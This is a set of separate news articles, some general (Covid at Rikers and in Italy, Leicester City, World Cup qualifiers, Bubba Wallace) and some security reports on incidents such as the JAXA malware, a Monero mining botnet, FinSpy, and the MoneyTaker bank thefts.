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(CNN)New York City's notorious Rikers Island jail is in the midst of an "emerging Covid-19 crisis" as the number of confirmed Covid cases among inmates has exploded over the past 10 days, and nearly doubled from Monday to Tuesday, the head of the New York City Department of Correction said on Tuesday in a letter to judges, district attorneys and public defenders. Until 10 days ago, the number of inmates testing positive for Covid hovered around 1% but on Monday, the rate had jumped to 9.5%, and on Tuesday, the rate rose above 17%, Department of Correction Commissioner Vincent Schiraldi said in the letter, which was shared with CNN."All indications suggest that our jail population faces an equal or greater level of risk from COVID now as it did from the start of the pandemic," Schiraldi said. "The combination of these data indicates that the risk to human beings in our custody are at a crisis level." Inside New York's notorious Rikers Island jails, 'the epicenter of the epicenter' of the coronavirus pandemic The biggest jump in cases at Rikers happened from December 19 to December 20, where 76 inmates tested positive, according to data from the DOC. Schiraldi urged the group to do all in their power to reduce the jail population to ease the outbreak.Read More"I implore you to ask the courts to similarly consider every available option to reduce the number of individuals in our jail," Schiraldi wrote. "Whether that means seeking supervised release in more cases or identifying cases that can be resolved with modifications to sentence length or requesting compassionate release for individuals who are at higher risk due to underlying medical conditions, I leave to your professional judgment."The population at Rikers is at 5,628 as of today, DOC spokesman Patrick said. At one point last year, the population dropped to about 3,800 after a push by city and law enforcement officials to reduce the number of people incarcerated according to statistics provided by the Mayor's Office of Criminal Justice. Schiraldi says only 45% of the inmate population has received one shot of the vaccine while only 38% are fully vaccinated. Scores of inmates were released from Rikers in 2020 as a way to slow the spread of the virus and while infection rates are up officials said no inmates have been hospitalized because of Covid during the current outbreak.51 additional people released from Rikers Island due to underlying health concernThe jail has already instituted other measures to try and slow the spread by replacing in-person visits with tele-visits along with suspending other programs and services, including religious services. DOC officials also instituted other movement protocols for anyone who contracted the virus or needed to quarantine. DOC officials have tried to incentivize getting vaccinated by offering a $100 commissary credit as well as a grocery store gift card to someone in their community of their choosing, said Gallahue. The incentives have been in place since October, Gallahue added.Messages from famous New Yorkers were even shown on tablets for inmates to see, all measures to convince as many as possible to get the shots, Gallahue said.Despite all the measures, Schiraldi says it isn't enough. "I implore you to ask the courts to similarly consider every available option to reduce the number of individuals in our jail," Schiraldi wrote.Hand sanitizer is still considered contraband in some prisons around the country So far, 87% of agency workers are vaccinated, which included staff at Rikers, courthouses and their headquarters, Gallahue said. About 85% of uniformed staff at Rikers have received at least one dose of the shot, Gallahue said. Mayor Bill de Blasio addressed the issue at his daily briefing, highlighting the number of correction officers who have been given at least one dose of the vaccine while stressing the current Covid surge in the city isn't as bad as the height in the spring of 2020. Dr. Mitchell Katz, CEO of NYC Health and Hospitals, followed the mayor's comments by stressing that no one at the jail has been hospitalized from the latest Covid surge. "We have opened up another unit for inmates who are infected so we can keep them isolated," said Katz. "Despite a major increase in infections, we have no hospitalizations. Gives me great pleasure to say we have no hospitalizations."
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Data Stealing Malware on Internal Computer of Japan Space Agency
Japan Aerospace Exploration Agency (JAXA) announce that their computer has been infected with a virus, leading to a possible leak of data on its H-II Transfer Vehicle (HTV) the craft popularly known as Konotori that hauls cargo for the International Space Station (ISS). JAXA still isn't sure how the virus got on the computer, or who put it there.
JAXA said the infection occurred on July 6 last year, when an employee in his 30s involved in the HTV's operation at the Tsukuba Space Center opened an e-mail attachment titled "bonenkai". An identical e-mail was also sent to several coworkers, but the employee accidentally opened the attachment as the sender had the same name as one of his friends. The space agency is working to minimize the damage and prevent further incursions.
JAXA is now conducting an investigation into the leak and is checking other computers for viruses, according to the press release. The agency said it would provide further details about the leaked information at an unspecified date.
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Mining cryptocurrencies can be a costly investment as it takes a monstrous amount of computing power, and thus hackers have started using malware that steals computing resources of computers it hijacks to make lots of dollars in digital currency.
Security researchers at security firm ESET have spotted one such malware that infected hundreds of Windows web servers with a malicious cryptocurrency miner and helped cybercriminals made more than $63,000 worth of Monero (XMR) in just three months.
According to a report published by ESET today, cybercriminals only made modifications to legitimate open source Monero mining software and exploited a known vulnerability in Microsoft IIS 6.0 to secretly install the miner on unpatched Windows servers.
Although ESET's investigation does not identify the attackers, it reports that the attackers have been infecting unpatched Windows web servers with the cryptocurrency miner since at least May 2017 to mine 'Monero,' a Bitcoin-like cryptocurrency.
The vulnerability (CVE-2017-7269) exploited by the attackers was discovered in March 2017 by Zhiniang Peng and Chen Wu and resides in the WebDAV service of Microsoft IIS version 6.0—the web server in Windows Server 2003 R2.
Therefore, hackers are only targeting unpatched machines running Windows Server 2003 to make them part of a botnet, which has already helped them made over $63,000 worth of Monero.
Since the vulnerability is on a web server, which is meant to be visible from the internet, it can be accessed and exploited by anyone. You can learn more about the vulnerability here.
The newly discovered malware mines Monero that has a total market valuation of about $1.4 billion, which is far behind Bitcoin in market capitalisation, but cybercriminals' love for Monero is due to its focus on privacy.
Unlike Bitcoin, Monero offers untraceable transactions and is anonymous cryptocurrency in the world today.
Another reason of hackers favouring Monero is that it uses a proof-of-work algorithm called CryptoNight, which suits computer or server CPUs and GPUs, while Bitcoin mining requires specific mining hardware.
However, this is not the first time when analysts have spotted such malware mining Monero by stealing computing resources of compromised computers.
In mid-May, Proofpoint researcher Kafeine discovered cryptocurrency mining malware, called 'Adylkuzz,' which was using EternalBlue exploit—created by the NSA and dumped last month by the Shadow Brokers in April—to infect unpatched Windows systems to mine Monero.
A week before that, GuardiCore researchers discovered a new botnet malware, dubbed BondNet, that was also infecting Windows systems, with a combination of techniques, for primarily mining Monero.
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Koreans have once again gain media attention but this time not as an accused of any kind of hack attack, but as a victim of a severe attack on computers systems at a nuclear power plant in South Korea by an unknown hacker or a group.
South Korea was hit by a cyber attack on its nuclear power plant, causing the operator to conduct drills in order to test the ability of the nuclear plant to cope with a full-scale cyber-attack. Although the plant's operator says no critical data has been leaked.
The cyber attack came into light after a hacker posted blueprints of nuclear reactors online and threatened further "leaks" unless authorities close down the reactors. According to the South Korean Yonhap News Agency, the hacker was able to access blueprints of reactors, floor maps and other internal information on the plant.
Last week with the help of a Twitter account named "president of anti-nuclear reactor group," the hacker posted leaked data revealing internal designs and manuals of the Gori-2 and Wolsong-1 nuclear reactors run by Korea Hydro and Nuclear Power Co. (KHNP). The hacker also threatened to leak more information unless the reactors are shut down.
The leaked information includes important data on the facilities' air condition and cooling systems, a radiation exposure report, and personal data of employees.
While KHNP and the South Korean government said that only "non-critical" information was stolen by the hacker and that the compromised data did not harm the nuclear plant's safety. The company will also conduct extensive drills at four of its complexes next week.
The KHNP, the sole nuclear operator in Korea, manages South Korea's 23 nuclear reactors, which supply about 30 percent of the country's electricity needs.
The hack came after the massive cyber attack on Sony Pictures Entertainment earlier this month, in which a list of personal and confidential data of the company made online by the hackers group called itself Guardian of Peace (GoP). The hack has yet exposed about 200 gigabytes of confidential data from upcoming movie scripts to sensitive employees data, celebrities phone numbers and their travel aliases, and unreleased films, marking it as the most severe hack in the History.
The Federal Bureau of Investigation (FBI) accused North Korea for Sony hack due to the Sony's upcoming controversial movie "The Interview" — a comedy about an assassination attempt against North Korean leader Kim Jong-un. Although North Korea denied any involvement.
In the past, South Korea has also many times blamed North Korea for hacks on banks, government websites and broadcasters. But this time no one has blamed North Korea for the hacking against the KHNP power plants. An official at KHNP told Reuters that the hacking appeared to be the work of "elements who want to cause social unrest," but added that he had no one specific in mind.
Meanwhile, a Twitter account claiming to represent an anti-nuclear organisation based in Hawaii claimed responsibility for the Nuclear power plant hack in South Korea, although the identities of the intruders have yet to be confirmed.
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Story highlightsLeicester City defender says winning league was 'pure happiness'Fuchs published video of players' wild celebrations on Twitter (CNN)Eden Hazard's late equalizer for Chelsea against Tottenham may have secured Leicester City its maiden Premier League title Monday but it was the celebrations of a group of young men in a kitchen some 90 miles away that dominated the sports pages and news broadcasts the next day.Leicester City players had gathered at the house of star striker Jamie Vardy to watch the game rivals Tottenham had to win to keep its title hopes alive. Naturally, they celebrated wildly when the final whistle at Stamford Bridge confirmed a 2-2 draw and ensured the club was champions of England for the first time in its 132-year history.Read: Title win could net Leicester $220 million The moment was captured on the phone of Leicester defender Christian Fuchs and posted to Twitter shortly after. At the time of publishing, the video has been retweeted 220,000 times and favorited 180,000 times.CHAMPIONS!!!! pic.twitter.com/pFtvo5XUNx— Christian Fuchs (@FuchsOfficial) May 2, 2016
Read More"I think that's something that's simply Leicester," Fuchs told CNN of the unbridled joy and togetherness he captured.Read: 7 reasons Leicester won the EPL "It was a big relief first of all because of course you are looking to finally get there, to finally achieve the championship. Then it was just you screamed everything out."It was just pure happiness. It's hard to be put in words to be honest. I've never experienced that in my life so far but it was a nice feeling."Read: Triumph of the 'Tinkerman'Leicester's stunning achievement confounded football pundits and bookmakers who had priced them at seemingly-impossible odds of 5000-1 to win the league at the start of the season. To put that figure into some sort of perspective, some bookmakers are offering significantly shorter odds on Kim Kardashian winning the U.S. presidential election in 2020.How Leicester beat the bestIn the bookies' defense, Leicester was a team that only just avoided relegation in 2015 and was assembled at a fraction of the cost of more illustrious rivals like Chelsea, Tottenham, Arsenal and Manchester City.Yet Fuchs said the low expectations and lack of belief in the team's ability outside of the dressing room never punctured the players' confidence.The input and sense of humor of Leicester's inspirational Italian manager, Claudio Ranieri, also ensured feet remained firmly planted on the ground when it finally seemed that Leicester could achieve the unthinkable."We don't think about what people wrote," Fuchs revealed. "We never thought like that. We just focus on our game, on our strength. We kept everything inside, we didn't listen to what the media said outside or what people were talking."What we can do is to affect our performance. That's what Ranieri always told us. To think from game to game. To think about us only. Because that's what we can affect no matter how the others play."If we bring a good performance we are likely to win this season and it worked out really well," he said.Champions LeagueHaving got the better of England's finest and most expensively-assembled teams, Leicester will now take on the best Europe has to offer in next season's Champions League.And that exciting challenge looms large on the horizon for Fuchs and his teammates."That's another story," he said. "For a lot of us it's the first time that we play in the Champions League."It's going to be quite a challenge but I believe with all the spirit, with all the togetherness that we have here that we can also play good games there."Let's see. Right now I have to tell you I'm not thinking that far at all. I'm just happy to celebrate a little bit that all the pressure has gone. "Just to lift the trophy on Saturday and to finally realize it that we are the champions."JUST WATCHEDWatch Leicester players celebrate Premier League winReplayMore Videos ...MUST WATCHWatch Leicester players celebrate Premier League win 00:43
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FinSpy—the infamous surveillance malware is back and infecting high-profile targets using a new Adobe Flash zero-day exploit delivered through Microsoft Office documents.
Security researchers from Kaspersky Labs have discovered a new zero-day remote code execution vulnerability in Adobe Flash, which was being actively exploited in the wild by a group of advanced persistent threat actors, known as BlackOasis.
The critical type confusion vulnerability, tracked as CVE-2017-11292, could lead to code execution and affects Flash Player 21.0.0.226 for major operating systems including Windows, Macintosh, Linux and Chrome OS.
Researchers say BlackOasis is the same group of attackers which were also responsible for exploiting another zero-day vulnerability (CVE-2017-8759) discovered by FireEye researchers in September 2017.
Also, the final FinSpy payload in the current attacks exploiting Flash zero-day (CVE-2017-11292) shares the same command and control (C&C) server as the payload used with CVE-2017-8759 (which is Windows .NET Framework remote code execution).
So far BlackOasis has targeted victims in various countries including Russia, Iraq, Afghanistan, Nigeria, Libya, Jordan, Tunisia, Saudi Arabia, Iran, the Netherlands, Bahrain, United Kingdom and Angola.
The newly reported Flash zero-day exploit is at least the 5th zero-day that BlackOasis group exploited since June 2015.
The zero-day exploit is delivered through Microsoft Office documents, particularly Word, attached to a spam email, and embedded within the Word file includes an ActiveX object which contains the Flash exploit.
The exploit deploys the FinSpy commercial malware as the attack's final payload.
"The Flash object contains an ActionScript which is responsible for extracting the exploit using a custom packer seen in other FinSpy exploits," the Kaspersky Labs researchers say.
FinSpy is a highly secret surveillance tool that has previously been associated with Gamma Group, a British company that legally sells surveillance and espionage software to government agencies across the world.
FinSpy, also known as FinFisher, has extensive spying capabilities on an infected system, including secretly conducting live surveillance by turning ON its webcams and microphones, recording everything the victim types on the keyboard, intercepting Skype calls, and exfiltration of files.
To get into a target's system, FinSpy usually makes use of various attack vectors, including spear phishing, manual installation with physical access to the affected device, zero-day exploits, and watering hole attacks.
"The attack using the recently discovered zero-day exploit is the third time this year we have seen FinSpy distribution through exploits to zero-day vulnerabilities," said Anton Ivanov, lead malware analyst at Kaspersky Lab.
"Previously, actors deploying this malware abused critical issues in Microsoft Word and Adobe products. We believe the number of attacks relying on FinSpy software, supported by zero day exploits such as the one described here, will continue to grow."
Kaspersky Lab reported the vulnerability to Adobe, and the company has addressed the vulnerability with the release of Adobe Flash Player versions 27.0.0.159 and 27.0.0.130.
Just last month, ESET researchers discovered legitimate downloads of several popular apps like WhatsApp, Skype, VLC Player and WinRAR (reportedly compromised at the ISP level) that were also distributing FinSpy.
So, businesses and government organizations around the world are strongly recommended to install the update from Adobe as soon as possible.
Microsoft will also likely be releasing a security update to patch the Flash Player components used by its products.
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Security researchers have uncovered a previously undetected group of Russian-speaking hackers that has silently been targeting Banks, financial institutions, and legal firms, primarily in the United States, UK, and Russia.
Moscow-based security firm Group-IB published a 36-page report on Monday, providing details about the newly-disclosed hacking group, dubbed MoneyTaker, which has been operating since at least May 2016.
In the past 18 months, the hacking group is believed to have conducted more than 20 attacks against various financial organisations—stolen more than $11 Million and sensitive documents that could be used for next attacks.
According to the security firm, the group has primarily been targeting card processing systems, including the AWS CBR (Russian Interbank System) and SWIFT international bank messaging service (United States).
"Criminals stole documentation for OceanSystems' FedLink card processing system, which is used by 200 banks in Latin America and the US." Group-IB says in its report.
Group-IB also warned that the MoneyTaker attacks against financial organizations appear to be ongoing and banks in Latin America could be their next target.
MoneyTaker: 1.5 Years of Silent Operations
Since its first successful attack in May last year, MoneyTaker has targeted banks in California, Illinois, Utah, Oklahoma, Colorado, South Carolina, Missouri, North Carolina, Virginia and Florida, primarily targeting small community banks with limited cyber defenses.
Even after a large number of attacks against so many targets, MoneyTaker group managed to keep their activities concealed and unattributed by using various publicly available penetration testing and hacking tools, including Metasploit, NirCmd, psexec, Mimikatz, Powershell Empire, and code demonstrated as proof-of-concepts at a Russian hacking conference in 2016.
"To propagate across the network, hackers used a legitimate tool psexec, which is typical for network administrators." Group-IB says in its report.
Besides using open-source tools, the group has also been heavily utilizing Citadel and Kronos banking trojans to deliver a Point-of-Sale (POS) malware, dubbed ScanPOS.
"Upon execution, ScanPOS grabs information about the current running processes and collects the user name and privileges on the infected system. That said, it is primarily designed to dump process memory and search for payment card track data. The Trojan checks any collected data using Luhn's algorithm for validation and then sends it outbound to the C&C server."
"The group uses 'fileless' malware only existing in RAM and is destroyed after reboot. To ensure persistence in the system MoneyTaker relies on PowerShell and VBS scripts - they are both difficult to detect by antivirus and easy to modify. In some cases, they have made changes to source code 'on the fly' – during the attack,"
"To escalate privileges up to the local administrator (or SYSTEM local user), attackers use exploit modules from the standard Metasploit pack, or exploits designed to bypass the UAC technology. With local administrator privileges they can use the Mimikatz program, which is loaded into the memory using Meterpreter, to extract unencrypted Windows credentials."
Moreover, MoneyTaker also makes use of SSL certificates generated using names of well-known brands—including as Bank of America, Microsoft, Yahoo and Federal Reserve Bank—to hide its malicious traffic.
The hacking group also configure their servers in a way that malicious payloads can only be delivered to a predetermined list of IP addresses belonging to the targeted company. Also, it relies on PowerShell and VBS scripts to ensure persistence in the targeted system.
The very first attack, which Group-IB attributes to MoneyTaker was conducted in May 2016, when the group managed to gain access to First Data's STAR—the largest U.S. bank transfer messaging system connecting ATMs at over 5,000 organizations—and stole money.
In January 2017, the similar attack was repeated against another bank.
Here's how the attack works:
"The scheme is extremely simple. After taking control over the bank's network, the attackers checked if they could connect to the card processing system. Following this, they legally opened or bought cards of the bank whose IT system they had hacked," Group-IB explains.
"Money mules – criminals who withdraw money from ATMs – with previously activated cards went abroad and waited for the operation to begin. After getting into the card processing system, the attackers removed or increased cash withdrawal limits for the cards held by the mules."
The money mules then removed overdraft limits, which made it possible for them to overdraw cash even with debit cards. Using these cards, they "withdrew cash from ATMs, one by one."
According to the report, the average money stolen by MoneyTaker from United States banks alone was about $500,000, and more than $3 million was stolen from at least three Russian banks.
The report also detailed an attack against a Russian bank, wherein the MoneyTaker group used a modular malware program to target the AWS CBR (Automated Work Station Client of the Russian Central Bank)—a Russian interbank fund transfer system similar to SWIFT.
The modular tool had capabilities to search for payment orders and modify them, replace original payment details with fraudulent ones, and carefully erase malware traces after completing its tasks.
While it is still unclear how MoneyTaker managed to get its foothold in the corporate network, in one specific case, the entry point of compromise of the bank's internal network was the home computer of the bank's system administrator.
Group-IB believes that the hackers are now looking for ways to compromise the SWIFT interbank communication system, although it found no evidence of MoneyTaker behind any of the recent cyber attacks on SWIFT systems.
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Story highlightsCristiano Ronaldo suffers disappointment on occasion of his 99th capGermany crushes Republic of Ireland 6-1Pedro hat-trick seals 4-0 win for World champion SpainBelgium secures stunning 3-0 win in SerbiaCristiano Ronaldo won his 99th international cap for Portugal -- but the Real Madrid superstar could not inspire his country as it slumped to a World Cup qualifying defeat in Russia.Only Luis Figo (127) and Fernando Couto (110) have made more appearances for Portugal than Ronaldo, who will hope to reach his century against Northern Ireland on Tuesday.Ronaldo had scored eight goals in his previous three games for Real Madrid, including a classy double against Barcelona in last Sunday's El Clasico.Messi and Ronaldo ensure honors shared in 222nd El ClasicoBut he was unable to prevent Russia from claiming a third consecutive victory in Group F to claim top spot as Fabio Capello's men recorded a 1-0 win.Alexander Kerzhakov's sixth minute strike was enough to secure Russia its first ever win over Portugal in the post-Soviet era.JUST WATCHEDMourinho on the enigma of BalotelliReplayMore Videos ...MUST WATCHMourinho on the enigma of Balotelli 01:35JUST WATCHEDCristiano Ronaldo: I'm better than MessiReplayMore Videos ...MUST WATCHCristiano Ronaldo: I'm better than Messi 01:50JUST WATCHEDCollymore on John Terry quitting ReplayMore Videos ...MUST WATCHCollymore on John Terry quitting 03:07Playing on the synthetic surface at Moscow's Luzhniki Arena, Portugal struggled to make a breakthrough against a stubborn Russian defense.Russian keeper Igor Akinfeyev made two impressive saves to deny Ronaldo and Bruno Alves as the visitors pushed for an equalizer.But the home side held out and might have even extended their lead further had Denos Glushakov and Roman Shirokov made the most of their opportunities."I can't say that we looked bad tonight," Portugal manager Paulo Bento told AFP."In general we played a good match. We reacted well on the goal we conceded and we followed the plan which we worked out before the match."Of course Russia played a great match but I think the result wasn't fair as I know my team is capable of playing top quality football. We came here to win and are really upset now."FIFA Asia chief: 2022 Winter World Cup would 'make sense'Germany underlined its credentials as potential World Cup winners with a 6-1 thrashing of the Republic of Ireland in Dublin.The defeat, Ireland's heaviest at home since 1931, came with the hosts missing several key players including captain Robbie Keane.Marco Reus scored twice in eight minutes to give the Germans a 2-0 lead at the break, before goals from Mesut Ozil, Miroslav Klose and two Toni Kroos strikes left Ireland decimated.Andy Keogh grabbed a consolation for Ireland but that failed to tarnish a Germany performance which sees them top Group C with maximum points.Germany has not lost a World Cup qualifier in its past 16 matches with its last defeat coming against England in September 2001.World and European champions Spain eased to a 4-0 win in Belarus courtesy of a hat-trick from Barcelona's Pedro.Jordi Alba gave the visitors a 12th minute lead before Pedro stole the show with a classy treble to wrap up victory in the Group I encounter.France warmed up for Tuesday's World Cup clash with Spain by losing its friendly match 1-0 to Japan in Paris.Shinji Kagawa's 88th minute strike stunned the home crowd and left the French cursing an embarrassing defeat.Vieira questions young players' 'lack of love' for England teamWayne Rooney moved up to fifth place in the list of England's all-time leading goalscorers after netting twice in a 5-0 win against minnows San Marino.JUST WATCHEDJosé Mourinho on managing star playersReplayMore Videos ...MUST WATCHJosé Mourinho on managing star players 05:06JUST WATCHEDJosé Mourinho's press conference anticsReplayMore Videos ...MUST WATCHJosé Mourinho's press conference antics 06:08JUST WATCHEDMourinho: John Terry is not a racistReplayMore Videos ...MUST WATCHMourinho: John Terry is not a racist 01:32Rooney, who took his tally to 31 goals for his country, scored a goal in each half with his Manchester United teammate Danny Welbeck also notching twice. "There are some great players there and to be in the England top five is something to be proud of," he told ITV1. "I am only 26 so hopefully I will score a lot more. "We created some good chances and maybe there was a bit of poor finishing but it's not that easy when they put 10 or 11 men behind the ball. "It's difficult to break them down and we had to create chances and we managed to do that, so obviously we'll take the positives and it wasn't a bad result."Arsenal's Alex Oxlade-Chamberlain grabbed his first international goal to complete a routine win over a San Marino side ranked 207th out of 207 in the world rankings.But there was bad news for Arsenal's Theo Walcott, who was taken to hospital for scans after being injured in a clash with San Marino goalkeeper Aldo Simoncini early on.Italy was made to fight all the way in Yerevan before escaping with a 3-1 win over Armenia in Group B.Juventus coach Conte has ban reduced to four monthsHenrikh Mkhitaryan had canceled out Andrea Pirlo's penalty kick to bring the hosts level, before second half strikes from Daniele de Rossi and Pablo Osvaldo secured victory for Italy.Sweden survived an embarrassing episode against the minnows of the Faroe Islands after recovering to sneak a 2-1 win in Group CRogvi Baldvinsson fired the Faroes ahead after 57 minutes to leave Sweden facing a monumental World Cup qualifying defeat against a team ranked 131 places below.Fulham midfielder Alexander Kacaniklic grabbed an equalizer before Zlatan Ibrahimovic bagged a 75th minute winner.Netherlands recorded a third consecutive victory with a comfortable 3-0 win over Andorra.'Pitbull' Davids joins BarnetRafael van der Vaart, Klaas-Jan Huntelaar and Ruben Schaken were on target as the Dutch made it nine points out of nine in Group DThey sit top of the group alongside Romania, which also has maximum points from its three games following a 1-0 win in Turkey. Belgium recorded a superb win after inflicting Serbia's first competitive home defeat since April 2001.The Belgians cruised to a 3-0 victory in Group A with goals from Christian Benteke, Kevin De Bruyne and Kevin Mirallas.Croatia sits joint-top on seven points with Belgium following a 2-1 win over Macedonia.Tottenham star Gareth Bale scored twice, including a stunning left-footed rocket, as Wales came from behind to defeat Scotland 2-1 in Group A.
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(CNN)Ahead of Sunday's Daytona 500 -- the biggest event on NASCAR's schedule -- it's hard for Darrell "Bubba" Wallace not to get a little excited about what's to come."The Daytona 500 is the biggest race of our year, and we have to start out with a bang," Wallace recently told CNN Sport's Coy Wire. "So it would be nice to finish one spot better than we did three years ago. Get that W." Wallace is driving for a team that knows all about winning. In September, NBA Superstar and global icon Michael Jordan announced he was teaming up with last year's Daytona 500 winner, Denny Hamlin to form 23XI Racing -- 23, of course being Jordan's iconic number from his playing days with the Chicago Bulls and XI representing Denny Hamlin who drives the #11 car in the NASCAR Cup Series. "Just his name in general brings a lot more awareness to our sport, a lot more eyes." Wallace said of Jordan. "I'm just excited, grateful for the opportunity. I've been in the sport for 17, 18 years now and an opportunity like this hasn't really come before and I've got to capitalize on it." NASCAR driver Bubba Wallace poses for a photo at Daytona International Speedway on February 10, 2021 in Daytona Beach, Florida. Read MoreDriving the #43 Victory Junction Chevrolet last years, Wallace stands by his car before qualifying for the NASCAR Cup Series Auto Club 400 at Auto Club Speedway on February 29, 2020 in Fontana, California.READ: Bubba Wallace is still learning to 'embrace' activismAnd before you ask, yes, Wallace will be driving the 23 car. A Black driver, driving for a Black owner. Years ago, you could be forgiven for thinking something like that was out of the realm of possibility in NASCAR, a sport that has struggled with its racial identity in the past. Wallace is the first driver of African-American descent to race full-time in NASCAR's top series since Wendell Scott in 1971."Diversity is taking a huge leap in the right direction, I believe. [But] still a lot of work to be done. But for MJ and a person of his stature to come through and want to be an owner in a sport and show like, 'Hey the sport is changing,' hopefully it encourages others to want to do the same." Wallace told CNN Sport. Wallace knows all about change in the sport he loves dearly. This past summer, when America was dealing with a social reckoning in the wake of the killing of George Floyd, Wallace was leading the charge in NASCAR.Bubba Wallace wears a "I Can't Breathe - Black Lives Matter" T-shirt under his fire suit in solidarity with protesters around the world taking to the streets after the death of George Floyd on May 25 while in the custody of Minneapolis, Minnesota police, stands during the national anthem prior to the NASCAR Cup Series Folds of Honor QuikTrip 500 at Atlanta Motor Speedway on June 07, 2020 in Hampton, Georgia.Wallace proudly wore a shirt with "I Can't Breathe" and "Black Lives Matter" on it ahead of his race in Atlanta in June.Later in the month Wallace called for NASCAR to ban the Confederate flag, a symbol still seen at NASCAR tracks not only in the South but across the country.NASCAR drivers push the #43 Victory Junction Chevrolet, driven by Bubba Wallace, to the front of the grid as a sign of solidarity with the driver prior to the NASCAR Cup Series GEICO 500 at Talladega Superspeedway on June 22, 2020 in Talladega, Alabama. And days later, NASCAR and the FBI launched an investigation after a crew member discovered what appeared to be a noose in Wallace's garage at the Talladega Superspeedway.The FBI report later found that the item had been in the team garage since the year before and Wallace, therefore, was not a victim of a hate crime, but that didn't mean Wallace wouldn't keep fighting for equality. "I think everything that happened last year just kind of kick-started and ignited the fire in a really positive way. Glad that I could kind of be the leader and the charge of that, but we can't become stagnant. "That's the biggest thing. We have to keep moving, keep evolving, and keep up with the times." Wallace said. "It's really cool to see, but there's still a lot of work to be done." Bubba Wallace, driver of the #23 Door Dash Toyota, drives during practice for the NASCAR Cup Series 63rd Annual Daytona 500 at Daytona International Speedway on February 10, 2021 in Daytona Beach, Florida.Wallace acknowledges he may have been slow to find his voice and speak on issues that matter to him, but now that he's found it, he's not going to stop. "That was the biggest thing for me, is just becoming comfortable in my own skin and being comfortable with my voice and what I'm saying, knowing that it's going to piss off a lot of people, but knowing that it's also going to motivate and push a lot of people to do better and be better."
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(CNN)Italy has been put under a dramatic total lockdown, as the coronavirus spreads in the country. Prime Minister Giuseppe Conte announced that he is extending restrictions already in place in the north."All the measure of the red zones are now extended to all of the national territory," Conte said at a press conference on Monday evening as he also announced a ban on all public events.The Prime Minister said the move was taken in order to protect the population, and especially the most fragile individuals. His announcement came at the end of a chaotic day that saw prison riots across the country.Smoke billows from a rooftop of the Regina Coeli prison in central Rome on Monday.Ninety-seven people have died of the novel coronavirus since Sunday in Italy, bringing its total number of deaths to 463. The country has 9,172 cases so far, the most of any European country.Your top 6 coronavirus questions from the weekend -- answeredOver the weekend, blanket travel restrictions were announced in just certain areas. The rest of the country will now join the northern provinces under lockdown -- one of the toughest responses implemented outside of mainland China to get the Covid-19 pandemic under control.Read MoreThe coordinator for intensive care in the crisis unit for the northern Lombardy region told CNN that Lombardy's health care system was "one step from collapse" despite efforts to free up hospital beds."We are now being forced to set up intensive care treatment in corridors," Antonio Pesenti said. "We've emptied entire hospital sections to make space for seriously sick people."He described seeing "a tsunami of patients," adding that there could be 18,000 patients in hospital by the end of the month if the virus continues to spread. "I've never seen anything like this," he said. "Italians should be worried."Lombardy President Attilio Fontana said in a statement said the new lockdown measures may not be enough. "A necessary step but, I fear, still insufficient," Fontana said. "The numbers in Lombardy and in the rest of the country show that the contagion is constantly expanding, with all consequences we know starting with the overload of work in hospitals, in particular in intensive care."Under the previous north-only lockdown, checks on compliance with the movement ban were to be carried out on main highways and along smaller roads by the Carabinieri (military police) and municipal police forces, while railway police, health authority workers and civil protection staff using thermoscan appliances will enforce the travel ban on the state's railways. Travelers, including those departing or arriving in the containment regions by airplane, were to be checked to see whether they have a self-declared travel exemption. Checks were also introduced for cruise ship passengers arriving in Venice, who will not be able to disembark to visit the city, but will only be able to return to their place of residence or country of origin.Michele De Marsico told CNN at a Milan train station on Sunday that he was trying to work out how to return to southern Italy. "I was worried, so I came here to the train station to check out the situation," said the 55-year-old.Prison officers stand guard as an ambulance enters SantAnna prison in Modena, inside one of Italy's quarantine red zones, following a disturbance there.Protests in Italian prisons The lockdown so far has already produced damaging ripple effects in the country. Inmates overran a number of prisons on Monday, escaping their facilities and kidnapping officers, after visitors were banned in an effort to curb the spread of the virus, the Justice Ministry said in a statement. Multiple inmates have died in the uproar, which swept 22 prisons. Some continue to occupy their facilities, even reaching the roof in some cases.In the southern city of Foggia, inmates occupied the entire compound and 43 detainees escaped, before being captured by the prison's police force and other law enforcement agencies, the statement said. In Modena, in the north, inmates are "still occupying two sections of the prison." There some inmates broke into the infirmary, where they got hold of various drugs, including methadone, the director of the Italian penitentiary system Francesco Basentini, said in a TV interview.Six inmates died there, he added. Two of the dead died of an overdose, and another from the inhalation of toxic smoke. Basentini said the cause of the three remaining deaths was under investigation.Meanwhile, in Rome's Rebibbia prison, inmates reached an external area and badly damaged an entire pavilion. And four prison officers were kidnapped in Bologna, where 350 inmates managed to occupy two sections of the facility. Almost all of the jails are "seriously damaged," according to the ministry statement.Quarantine zone stretches across countryThere have been more than 108,000 confirmed cases and 3,821 deaths related to the novel coronavirus worldwide. Despite signs of improvement in Asia -- with China and South Korea recording a slowdown in the number of new cases -- the situation in Europe and North America appears to be worsening. People wear masks while shopping at a supermarket in Milan, after Italy announced a sweeping quarantine zone covering its northern regions.Under the initial lockdown rules, schools, universities, theaters, cinemas, bars and nightclubs were closed in Italy's north. Religious ceremonies, including funerals and weddings, and sporting events were suspended or postponed. Restaurants and bars were allowed to be open from 6am to 6pm, and malls and markets could open on weekdays if they could assure a meter (three feet) of distance between each client.Cars line up to cross the Italy-Switzerland border at the Ponte Chiasso customs post north of Milan, on Monday."This is of the utmost importance not only from a healthcare point of view but also economically. A temporary downturn in some sectors or areas of the country is preferable to a longer crisis that could spread to the whole economy via demand and supply effects," the original statement read.Hotel worker Alice Baldisserri, 38, told CNN that "Milan's hotels are empty, so the jobs are at risk." Baldisserri said Italy's tourism industry had been "hit the hardest" by the outbreak.The restrictions could take a toll on Italy's already fragile economy. Italian tourism representatives warned last month that 200 million euros ($260 million) in bookings had been canceled since the outbreak was first announced.Live updates: Global markets plunge amid coronavirus fears and oil price drop The Italian government is preparing measures to support workers and firms across the country, particularly in sectors and areas most affected by the outbreak to try to prevent "lasting damage to the supply side of the Italian economy and permanent employment losses."The World Health Organization (WHO) has called on "all countries to continue efforts that have been effective in limiting the number of cases and slowing the spread of the virus."In a statement, the WHO said: "Allowing uncontrolled spread should not be a choice of any government, as it will harm not only the citizens of that country but affect other countries as well."CNN's Hada Messia and Livia Borghese contributed to this report.
